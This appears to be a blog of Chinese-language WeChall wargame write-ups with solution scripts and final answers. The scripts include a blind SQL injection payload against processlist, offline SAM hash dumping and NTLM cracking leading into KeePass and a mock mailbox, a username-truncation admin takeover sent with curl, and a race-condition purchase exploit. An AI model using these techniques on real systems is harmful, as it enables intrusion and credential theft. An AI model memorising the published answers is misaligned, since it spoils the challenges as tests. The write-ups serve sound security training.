Hello Navi

Tech, Security & Personal Notes

Challenge

Noother 写了一个卖 .xyz domain 的 PHP 小站。目标是找到漏洞,不花钱完成购买。

Solution

purchaseDomain()reduceMoney() 之间有约 6 秒间隙(三次 nooth_message() 各 sleep 2 秒)。PHP 默认 ignore_user_abort = false,客户端断开连接后,PHP 在 sleep 间隙检测到中止并终止脚本。利用这个窗口可以让 purchaseDomain() 提交但 reduceMoney() 被跳过。

利用步骤:

  1. 加载余额:?load=balance(+$10,+1 funding)
  2. 等 timeout 结束(45 秒 cooldown)
  3. 发送购买请求,curl 设置 --max-time 12:请求约 12s 后被切断,此时 purchaseDomain() 已执行(domains+1,money 未扣)但 reduceMoney() 未执行
  4. 再等一次 timeout 结束,发一次正常购买(不切断)
  5. 此时 fundings=1,domains=2,条件 fundings < domains 触发,自动解决

关键源码逻辑:

1
2
3
4
noothtable::purchaseDomain($sid);   // domains=domains+1 WHERE money>=price
// ~6s sleep via nooth_message()
noothtable::reduceMoney($sid, $price); // money=money-price
// 随后检查 fundings < domains

注意第二步必须是正常购买——如果第二次也切断,domains 只+1 但 fundings=1,条件仍然 fundings >= domains。只有 purchaseDomain 成功两次而 reduceMoney 只执行一次,才能制造差值。

Challenge

Table Names 的进阶版。题目要求找出隐藏的数据库名和表名,答案格式是:

1
database_table

相比第一版,常规的 information_schema.tables / database() 路线会被过滤。

Solution

后端查询大致是用隐藏配置拼出完整表名:

1
2
SELECT * FROM <secret_database>.<secret_table>
WHERE username='$username' AND password='$password'

不能直接查 information_schema.tables 时,可以转向 information_schema.processlist。当前正在执行的 SQL 文本会出现在 processlist.info 中,而这个 SQL 正好包含完整的 database.table

盲注模板:

1
2
3
4
5
6
7
8
9
username=test' OR IF(
(SELECT ASCII(SUBSTR(info, <pos>, 1)) = <ord>
FROM information_schema.processlist
WHERE info LIKE 0x2553454c45435425
LIMIT 1),
1,
0
)#
password=test

也可以用二分:

1
ASCII(SUBSTR(info, <pos>, 1)) > <mid>

逐字符恢复 info 后,从 SQL 文本里抽出 <secret_database>.<secret_table>,再把点号换成下划线提交。

通过 SUBSTR(info,1,200) 直接从 processlist 提取完整查询文本,确认当前账号下数据库和表名为:

1
nurfedtables37.userbobbytable7
nurfedtables37_userbobbytable7

Challenge

Cracking/Forensics 类(Storyline 系列),由 Z 创作。

一个叫 Bill 的人把秘密藏在加密的 KeePass 数据库里。需要从他的 Windows SAM 文件开始,走完整条攻击链才能拿到最终的答案。

1
2
3
4
给的文件: files.zip
├── SAM # Windows SAM (Security Account Manager)
├── system # SYSTEM registry hive(对应加密的 boot key)
└── keepass.kdb # KeePass 1.x KDB 格式

Solution

Step 1 — 从 SAM + SYSTEM 提取 NTLM hash

secretsdump.py(impacket 包)从 SAM + SYSTEM 离线提取本地用户的 hash:

1
2
3
4
5
6
$ secretsdump.py -sam SAM -system system LOCAL
Impacket v0.12.0 - Copyright 2023 Fortra

[*] Target system bootKey: 0xac285427313a1c9a8dc2e8b3421a2e22
[*] Dumping local SAM hashes:
Bill:500:7f4ac180230c769790d3d8ad454f5167:cfb69fa6cb1d792d63b02c6eefc807e5:::

格式:用户:RID:LM_HASH:NTLM_HASH::: NTLM hash(第二个 32 hex)是 cfb69fa6cb1d792d63b02c6eefc807e5

LM hash 7f4ac180230c769790d3d8ad454f5167 非空(非 aad3b4...),说明密码 >= 8 字符,可以用 Ophcrack + rainbow table 破解。但走 NTLM 更直接。

Step 2 — 破解 NTLM hash

在线 NTLM 查询 ntlm.pw

1
2
https://ntlm.pw/cfb69fa6cb1d792d63b02c6eefc807e5
→ W3cH4112u1Z99

离线可用 john + rockyou 或 hashcat。

Windows 密码: W3cH4112u1Z99

index2.php 有一段 substitution cipher 隐藏 hint,解码后提示用 Ophcrack + ~380MB rainbow table 破解 LM hash,但 NTLM 在线查表更快,结果一致(LM 大写版 W3CH4112U1Z99 无额外信息)。

Step 3 — 解密 KeePass

剧情设计上 Bill 是密码复用受害者——KeePass 密码 == Windows 密码。

keepass.kdb 是 KeePass 1.x KDB 格式(非 KDBX),AES-256-CBC 加密。Python 库 pykeepass 只支持 KDBX,需用 libkeepass

1
$ pip install libkeepass
1
2
3
4
5
6
7
8
9
import libkeepass

with libkeepass.open('keepass.kdb', password='W3cH4112u1Z99') as db:
for entry in db.entries:
print(f"Group: {entry['group']}")
print(f" Title: {entry['title']}")
print(f" Username: {entry['username']}")
print(f" Password: {entry['password']}")
print()

KeePass 结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Group: credit card
Title: Amex
Username: 371234567895006:08/05-18/05:562
Password:

Group: Personal
Title: Personal data
Username: William Henry Gates III
Password:

Group: W1nd0ws
Title: My home w1n box
Username: Bill
Password: W3cH4112u1Z99

Group: eMail
Title: My hotmail account
Username: BillG@h0tma1l.com
Password: ← 空字符串,这就是密码

四个 entry 分布在 7 个 group 中(另有空的 L1nux、M4C、Backup 组)。

关键条目:Amex 的 username 包含完整信用卡数据(格式 CC_NUMBER:VALID_FROM-EXPIRY:CVV)。

Step 4 — 提交信用卡

check_card.php 接受 POST 字段 cc(maxlength=31):

1
2
3
$ curl -s -b 'WC=...' \
--data-urlencode 'cc=371234567895006:08/05-18/05:562' \
'https://www.wechall.net/challenge/Z/bill_for_bill/check_card.php'
371234567895006:08/05-18/05:562

返回提示需要登录父亲的邮箱删除交易通知邮件,进入下一步。

Step 5 — 登录邮箱删邮件

signin.php 是一个仿 Microsoft Live ID 的钓鱼页面,POST 到 login.php

KeePass 中 email 条目的 password 字段是空字符串——这就是密码:

1
2
POST login=BillG@h0tma1l.com&passwd=&SI=Signin&LoginOptions=2
→ 302 Redirect → loggedin.php

登录后收件箱中有一封来自 M4C 的未读邮件,checkbox 的 value="thisisit"。通过 loggedin.php?del=sel 标记删除。

至此攻击链完成:从 Windows SAM 一路走到删除银行通知邮件。

Step 6 — 提交 WeChall 答案

全部分析完成后,在主站 solution form 提交答案:

passwordsuxx

Summary

完整的 Windows 凭证盗窃链:SAM+SYSTEM → NTLM hash → 密码复用 → KeePass → 敏感数据泄露 → 登录邮箱销毁证据

Screwed Signup (Exploit, PHP) by gizmore MySQL VARCHAR 截断 + 查询不一致导致的权限提升

Challenge

目标是 login as Admin。题目给了 register/login 的源码,chall_sql1 表中已有原始 Admin 记录(access_level=1337)。

关键源码:

1
2
// 注册 — INSERT 语句
$query = "INSERT IGNORE INTO `chall_sql1` VALUES ('$uname', '$pw', 0)";
1
2
3
4
// 登录校验
function screwed_signupGetUser($username) {
$query = "SELECT * FROM `chall_sql1` WHERE `username`='$username'";
}

Solution

漏洞是 VARCHAR 截断 + 查询不一致

  • 表定义 username VARCHAR(24),但 PHP 的 preg_match('/^[a-z0-9A-Z ]{3,64}$/D') 允许最长 64 字符
  • trim() 只去掉首尾空格,中间空格保留
  • MySQL 在非严格模式下静默截断超长值到 24 字符

利用步骤:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
1. 注册: username = "Admin" + 19空格 + "a"    (共 25 字符)
→ trim() 保留中间空格(a 在末尾不会被 trim 删掉)
→ regex 通过(3-64 字符规则)

2. UserExists("Admin" + 19空格 + "a") → false(表中无此长字符串记录)

3. MySQL INSERT 时截断到 VARCHAR(24):
实际写入: "Admin" + 19 空格 (access_level=0)

4. 现在表中有两条 Admin 记录:
- 原始 Admin (access_level=1337) ← 先插入
- 我们复制的 Admin (access_level=0) ← 后插入

5. 登录: username = "Admin"(无空格)
→ PasswordMatch 检查 username+password → 找到我们的记录(密码匹配)
→ GetUser 只查 username → WHERE username='Admin' → 返回第一行 → 原始 Admin
→ access_level=1337 > 0 → solved

关键:PasswordMatch 检查了密码但 GetUser 只查用户名,两条查询的不一致导致权限提升。

1
2
3
4
5
6
7
8
9
# 注册
curl -c /tmp/wc -b /tmp/wc -X POST \
'https://www.wechall.net/en/challenge/screwed_signup/register.php' \
-d 'username=Admin a&password=hack123&password2=hack123&register=Register'

# 登录
curl -c /tmp/wc -b /tmp/wc -X POST \
'https://www.wechall.net/en/challenge/screwed_signup/login.php' \
-d 'username=Admin&password=hack123&login=Login'

WC Hashing Game (Cracking) by gizmore 破解两组 hash:WC3(定盐 MD5)和 WC4(加盐 SHA1)。答案格式:word1,word2,word3,word4

Challenge

两组 hash 列表,各 17 条:

  • WC3(WeChall v3 算法):固定盐 MD5
  • WC4(WeChall v4 算法):每条 hash 独立加盐 SHA1
  • 答案 = 两组各自最长的两个明文,逗号分隔

题面示例:wordfrom1,wordfrom1,wordfrom2,wordfrom2

Solution

算法

1
2
3
4
5
6
7
8
9
10
import hashlib, string, random

# WC3: md5(md5(plaintext) + "zomgsalt")
digest = hashlib.md5(
hashlib.md5(word.encode()).hexdigest().encode() + b"zomgsalt"
).hexdigest()

# WC4: sha1("zomgsalt4" + password + salt + "zomgsalt4") + salt
t = hashlib.sha1(b"zomgsalt4" + password.encode() + salt.encode() + b"zomgsalt4")
digest = t.hexdigest() + salt # salt 追加到 hash 末尾

攻击路线

  1. 从 WeChall 页面获取两组 hash 列表(需登录)
  2. 用 rockyou 或类似英文词典做字典攻击
  3. 对每个 word 计算 WC3 hash 匹配;对 WC4 每条 hash 提取尾部 4 字节 salt,计算后匹配
  4. 排序取最长各两个
  5. 提交格式:longest_wc3,second_wc3,longest_wc4,second_wc4

完整脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import hashlib, string

# 从页面提取 hash 列表
wc3_hashes = [...] # 17 条 hex hash
wc4_raw = [...] # 17 条 hash+salt(44 hex chars = 40 hash + 8 salt)

# 字典攻击
for word in dictionary:
# WC3
h = hashlib.md5(hashlib.md5(word.encode()).hexdigest().encode() + b"zomgsalt").hexdigest()
if h in wc3_hashes:
found_wc3.append((len(word), word))

# WC4 — 每条 hash 的 salt 不同
for entry in wc4_raw:
target_hash = entry[:-8] # 前 40 hex = SHA1
salt = entry[-8:] # 后 8 hex = 4 bytes salt
t = hashlib.sha1(b"zomgsalt4" + word.encode() + bytes.fromhex(salt) + b"zomgsalt4").hexdigest()
if t == target_hash:
found_wc4.append((len(word), word))

found_wc3.sort(reverse=True)
found_wc4.sort(reverse=True)
answer = f"{found_wc3[0][1]},{found_wc3[1][1]},{found_wc4[0][1]},{found_wc4[1][1]}"

Key Points:

  • WC3 salt 固定zomgsalt,追加在第一次 MD5 hex 之后
  • WC4 每条 hash 尾 8 hex 是 salt:4 字节随机字母数字,需要按条提取
  • 所有明文是小写英文词典词
  • hash 列表在 页面:需从 /en/challenge/wechall/hashing_game/index.php 的 HTML 中提取
coincidence,subversion,triangulation,orthography

Brainfucked (Javascript) by gizmore 不是 Brainfuck,是 JSFuck——只用 []()!+ 六字符构造 JavaScript

Challenge

题面给一个巨大的 sourcecode.php(~100KB),看起来是 Brainfuck 但实际上是 JSFuck——一种只用 []()!+ 六个字符编码 JavaScript 的技术。它利用 JavaScript 的类型转换(如 []+{}"[object Object]")来构造任意字符串和代码。

源码在 sourcecode.php,直接在浏览器里 eval 这坨代码不安全——它会弹出 alert 并重定向到 Google。

Solution

核心方法是离线 sandbox 执行 JSFuck 代码,观察其行为:

1
curl -s -b 'WC=...' 'https://www.wechall.net/en/challenge/brainfucked/sourcecode.php' > jsfuck.txt

用 Node.js 搭建一个 mock browser 环境(拦截 alertdocument.location 等):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
const vm = require("vm");
const fs = require("fs");
const code = fs.readFileSync("jsfuck.txt", "utf8").trim();

let capturedAlerts = [];
let locationHref = "";

const sandbox = {
alert: (...args) => capturedAlerts.push(...args),
document: {
title: "",
location: {
set href(v) {
locationHref = v;
},
},
},
location: {
set href(v) {
locationHref = v;
},
},
Array,
String,
Number,
Boolean,
Object,
Function,
RegExp,
Math,
Date,
JSON,
setTimeout: () => 0,
setInterval: () => 0,
console: { log() {}, warn() {}, error() {} },
};

vm.createContext(sandbox);
vm.runInContext(code, sandbox, { timeout: 30000 });

console.log("Alerts:", capturedAlerts);
console.log("Redirect:", locationHref);

执行后会输出:

1
2
Alerts: [ 18 ]
Redirect: https://www.google.co.uk

这对应解码后的代码:

1
2
3
4
var s = "UnfudgedDebugStuff";
s = s.length; // 此时 s = 18
alert(s); // 弹 18
document.location.href = "https://www.google.co.uk";

关键陷阱:

  • alert 显示的是 18(字符串长度),但这不是答案。
  • 答案是原始字符串 UnfudgedDebugStuff,不是它的长度。
  • 页面会重定向到 Google,所以不要在浏览器里直接 eval。
  • JSFuck 和 Brainfuck 完全不同——Brainfuck 用 <>+-.,[],JSFuck 用 []()!+
UnfudgedDebugStuff

Save the World (Crypto) by Z Hastad broadcast attack — 同一消息 m,e=3,三个不同 n

Challenge

题面给出一段虚构的世界观故事:三个 RSA 公钥(e=3,三个不同 n1,n2,n3)加密了同一个对称密钥 m。目标是恢复 m 的十进制形式的最后 20 位。

1
2
3
c1 = m^3 mod n1
c2 = m^3 mod n2
c3 = m^3 mod n3

Solution

这是经典的 Hastad broadcast attack。当同一消息用同一个小指数 e=3、不同互素 modulus 加密且无 padding 时:

m^3 对三个不同的 n 同余于不同的 c。用中国剩余定理(CRT)合并,如果 m^3 < n1*n2*n3,则 CRT 结果直接等于 m^3,开三次方根即可。

1
2
3
4
5
6
7
from sympy.ntheory.modular import crt
from sympy import integer_nthroot

C, mod = crt([n1, n2, n3], [c1, c2, c3])
m, exact = integer_nthroot(int(C), 3)
assert exact
print(str(m)[-20:])

完整的从页面抓数→计算的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import re, urllib.request

URL = 'http://www.wechall.net/en/challenge/Z/save_the_world/index.php'
COOKIE = 'WC=...'

req = urllib.request.Request(URL, headers={'Cookie': COOKIE})
html = urllib.request.urlopen(req, timeout=20).read().decode()
clean = re.sub(r'<br\s*/?>', '', html) # 关键:去掉 <br/> 标签

def extract(pattern):
m = re.search(pattern, clean)
return int(m.group(1).replace('\n', '').replace(' ', ''))

n1 = extract(r'n1=(\d[\d\s\n]*?)')
c1 = extract(r'c1=(\d[\d\s\n]*?)')
n2 = extract(r'n2=(\d[\d\s\n]*?)')
c2 = extract(r'c2=(\d[\d\s\n]*?)')
n3 = extract(r'n3=(\d[\d\s\n]*?)')
c3 = extract(r'c3=(\d[\d\s\n]*?)')

from sympy.ntheory.modular import crt
from sympy import integer_nthroot

C, mod = crt([n1, n2, n3], [c1, c2, c3])
m, exact = integer_nthroot(int(C), 3)
assert exact
print(str(m)[-20:])
  • <br/> 标签:页面里的超大整数被 <br/> 换行打断,直接复制会漏数字或引入多余字符。必须用 regex 去掉 <br/> 后再提取连续数字串。
  • 静态题:n1/n2/n3/c1/c2/c3 是固定的,对所有用户相同。答案唯一,只需计算一次。
  • sympy 需要安装uv pip install sympypip install sympy
21987654321987654321

GizCrypt (Crypto) by gizmore 自制对称加密,GWF_Crypt 算法,key 固定为 11 位 a-zA-Z

Challenge

题面给出一个自制对称加密(算法源码可见),一段 hex 密文,一个 key 的约束:长度 11,只含 a-zA-Z。目标是解密密文得到可读英文文本,从中提取嵌入的 12 位大写 HEX token 作为 answer。

Solution

算法源码(GWF_Crypt):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function decrypt($ciphertext, $key) {
$back = '';
$len = strlen($ciphertext);
$x = 1;
$k = -1;
$e = ord('e'); // 101, 常数
for ($i = 0; $i < $len; $i++) {
$k += $x;
if ($k >= $klen) {
$k = 0;
$x++;
if ($x >= $klen) $x = 1;
}
$back .= chr(ord($key[$k % $klen]) ^ ord($ciphertext[$i]) ^ $e);
}
return $back;
}

注意 encrypt = decrypt,加解密相同。本质是 XOR 流密码,但 key 不是简单循环——有一个递增步长的索引调度(step starts at 1, increments after each full cycle)。

Python 实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def gizcrypt_decrypt(ct, key):
klen = len(key)
x, k = 1, -1
e = 101 # ord('e')
plain = bytearray()
for b in ct:
k += x
if k >= klen:
k = 0
x += 1
if x >= klen:
x = 1
plain.append(key[k % klen] ^ b ^ e)
return bytes(plain)

Key 恢复(按 key index 分组 → 评分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import string
from collections import Counter

alphabet = string.ascii_letters # 52 chars

def key_index_seq(length, klen=11):
seq = []
x, k = 1, -1
for _ in range(length):
k += x
if k >= klen:
k = 0; x += 1
if x >= klen: x = 1
seq.append(k % klen)
return seq

seq = key_index_seq(len(ct))
groups = {i: [] for i in range(11)}
for i, kpos in enumerate(seq):
groups[kpos].append(ct[i])

key = []
for pos in range(11):
best = None
best_score = -9999
for k in alphabet:
plain = bytes(k ^ c ^ 101 for c in groups[pos])
score = sum(4 if b in (32,101,116,97,111) else
2 if chr(b).isalpha() or b in (44,46,39) else
1 if 32 <= b < 127 else -10
for b in plain)
if score > best_score:
best_score = score
best = k
key.append(best)

full_key = ''.join(key) # ItsPassword
plain = gizcrypt_decrypt(ct, full_key.encode())
print(plain.decode()) # 包含 answer: 9DD4752982DC

关键发现:

  • Key 是固定的ItsPassword,对所有人所有 session 都相同。只需要对当前 session 的密文解密即可得到唯一的 answer。
  • Answer 是 session-bound:每次页面刷新密文变化,嵌入的 12 位 HEX token 也变化,必须用当前 session 的密文解密。
  • 评分时 key[1] 样本太少(仅有 ~6 个字节),所以 key[1] 置信度最低。可以结合英文上下文人工校正。

Lettergrid (Coding) by gizmore 限时 word search——4.5 秒内找出网格中所有隐藏单词并按起始位置提交

Challenge

页面生成一个字母网格,需要在 4.5 秒内找出所有隐藏的单词(长度 >= 6,8 个直线方向),并按起始字母位置排序后提交。

1
2
3
Base:      https://www.wechall.net/challenge/lettergrid
Grid: generate.php → 返回 <pre> 格式的字母网格
Submit: index.php?solution=<answer>&cmd=Submit+Answer (GET)

答案格式:单词直接拼接,无分隔符(不是逗号分隔)。按单词起始位置(从上到下、从左到右)排序。

Solution

Trie 前缀树 + 8 方向扫描,单次运行 2-3 秒,远低于 4.5s 限时:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
import requests, re

BASE = 'https://www.wechall.net/challenge/lettergrid'
sess = requests.Session()
sess.cookies.set('WC', '...', domain='www.wechall.net')

# 1. 构建 Trie(单词 >= 6 字符)
class TrieNode:
__slots__ = ('children', 'is_word')
def __init__(self):
self.children = {}
self.is_word = False

root = TrieNode()
for word in open('/usr/share/dict/words'):
w = word.strip().lower()
if len(w) >= 6:
node = root
for ch in w:
node = node.children.setdefault(ch, TrieNode())
node.is_word = True

# 2. 获取网格
r = sess.get(f'{BASE}/generate.php')
match = re.search(r'<pre>(.*?)</pre>', r.text, re.DOTALL)
grid = [list(line.strip().lower()) for line in match.group(1).strip().split('\n') if line.strip()]
ROWS, COLS = len(grid), len(grid[0])

# 3. 8 方向搜索(用 Trie 实时剪枝)
DIRS = [(0,1),(0,-1),(1,0),(-1,0),(1,1),(1,-1),(-1,1),(-1,-1)]
found = {} # word -> (start_r, start_c)

for r in range(ROWS):
for c in range(COLS):
for dr, dc in DIRS:
node, last_word, last_len = root, None, 0
for step in range(max(ROWS, COLS)):
nr, nc = r + dr*step, c + dc*step
if not (0 <= nr < ROWS and 0 <= nc < COLS): break
ch = grid[nr][nc]
if ch not in node.children: break
node = node.children[ch]
if node.is_word:
word = ''.join(grid[r+dr*s][c+dc*s] for s in range(step+1))
if word not in found:
found[word] = (r, c)

# 4. 按起始位置排序后提交
answer = ''.join(sorted(found.keys(), key=lambda w: found[w]))
print(f'Found {len(found)} words: {sorted(found.keys())}')

r = sess.get(f'{BASE}/index.php', params={'solution': answer, 'cmd': 'Submit Answer'})
if 'solved' in r.text.lower() or 'correct' in r.text.lower():
print('SOLVED!')

Key Points:

  • 无分隔符:单词按起始位置排序后直接拼接,不加逗号或空格
  • /challenge/lettergrid/:注意 URL 没有 /en/ 前缀
  • 网格来源generate.php,每次刷新不同,必须同一 session 内抓取
  • 提交方式:GET 到 index.php?solution=...&cmd=Submit+Answer,不需要 CSRF
  • 标准词库/usr/share/dict/words 或 dwyl/english-words 皆可,344K 单词 >= 6 字符足够覆盖
  • Trie 剪枝是关键:不用 Trie 的话搜索量是 网格数 × 方向 × 最大路径长度,用 Trie 可以实时过滤无效前缀
  • 答案 session-bound:每次网格不同,无固定答案

The Travelling Customer (Coding, Training) by gizmore XKCD 287 风格 bounded knapsack——5 轮,每轮 3 秒限时

Challenge

页面给一个 pricelist,要求选出指定数量的商品,使总价等于目标值,且每类商品不超过 stock。需要连续解 5 轮,每轮 3 秒。

1
2
3
Endpoint: /en/challenge/training/programming/knapsaak/
problem.php → 返回新问题
answer.php?answer=<answer> → 提交答案(GET 方式)

题目参数(problem.php 返回的纯文本格式):

1
2
3
4
5
6
7
8
Items=50
Sum=5001
Stock=2
Level=1
Pizza=713
Chips=590
Eggs=523
...

Solution

这是 bounded knapsack(精确总价 + 精确件数 + 库存限制)。DFS + memo 即可:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import requests

BASE = 'https://www.wechall.net/en/challenge/training/programming/knapsaak'
COOKIES = {'WC': '...'}

def parse_problem(text):
items = []
meta = {}
for line in text.strip().split('\n'):
if '=' not in line: continue
k, v = line.split('=', 1)
k, v = k.strip(), v.strip()
if k in ('Items', 'Sum', 'Stock', 'Level'):
meta[k] = int(v)
else:
items.append((k, int(v))) # (name, price)
return items, meta['Items'], meta['Sum'], meta['Stock']

def solve(items, need_count, need_sum, stock):
n = len(items)
prices = [p for _, p in items]
names = [n for n, _ in items]
# 按价格降序排列(剪枝效果更好)
order = sorted(range(n), key=lambda i: -prices[i])
sp = [prices[i] for i in order]

memo = {}
def dfs(idx, ri, rs):
if ri == 0 and rs == 0:
return [0] * (n - idx)
if idx == n or ri < 0 or rs < 0:
return None
key = (idx, ri, rs)
if key in memo:
return memo[key]
# 剪枝:剩余件数超出库存限制
if ri > stock * (n - idx):
memo[key] = None; return None
# 剪枝:剩余金额超出价格范围
min_p, max_p = min(sp[idx:]), max(sp[idx:])
if rs < ri * min_p or rs > ri * max_p:
memo[key] = None; return None

p = sp[idx]
for qty in range(min(stock, ri, rs // p) + 1):
sub = dfs(idx + 1, ri - qty, rs - qty * p)
if sub is not None:
memo[key] = [qty] + sub
return memo[key]
memo[key] = None
return None

qs = dfs(0, need_count, need_sum)
if qs is None: return None
# 按原始顺序还原
quants = [0] * n
for i, orig_idx in enumerate(order):
quants[orig_idx] = qs[i]
# 拼接答案:qtyName...
return ''.join(str(quants[i]) + names[i]
for i in range(n) if quants[i] > 0)

s = requests.Session()
s.cookies.update(COOKIES)

for round_num in range(5):
resp = s.get(f'{BASE}/problem.php')
items, cnt, target, stock = parse_problem(resp.text)
answer = solve(items, cnt, target, stock)
resp2 = s.get(f'{BASE}/answer.php', params={'answer': answer})
print(f'Round {round_num+1}: {resp2.text.strip()}')

Key Points:

  • GET 请求:抓题和提交都用 GET(不是 POST),不需要 CSRF token
  • Cookie 复用:用 requests.Session() 保持同一会话,5 轮连续
  • Answer 格式:数量直接拼接商品名,无分隔符。例如 2Pizza3Chips1Eggs
  • 3 秒限时:每轮从抓题到提交必须在 3 秒内完成,所以必须自动化
  • 剪枝:价格排序 + 剩余范围检查,避免 DFS 爆炸
  • session-bound:每轮题目随机,答案不固定,无法直接复用
+ + +
SYSTEM STATUS: ACTIVE ENCRYPTED SECTOR 7 PRTS_TERMINAL_V2.0 PROTOCOL: 0x2A ENCRYPTED DATA STREAM SYSTEM: ONLINE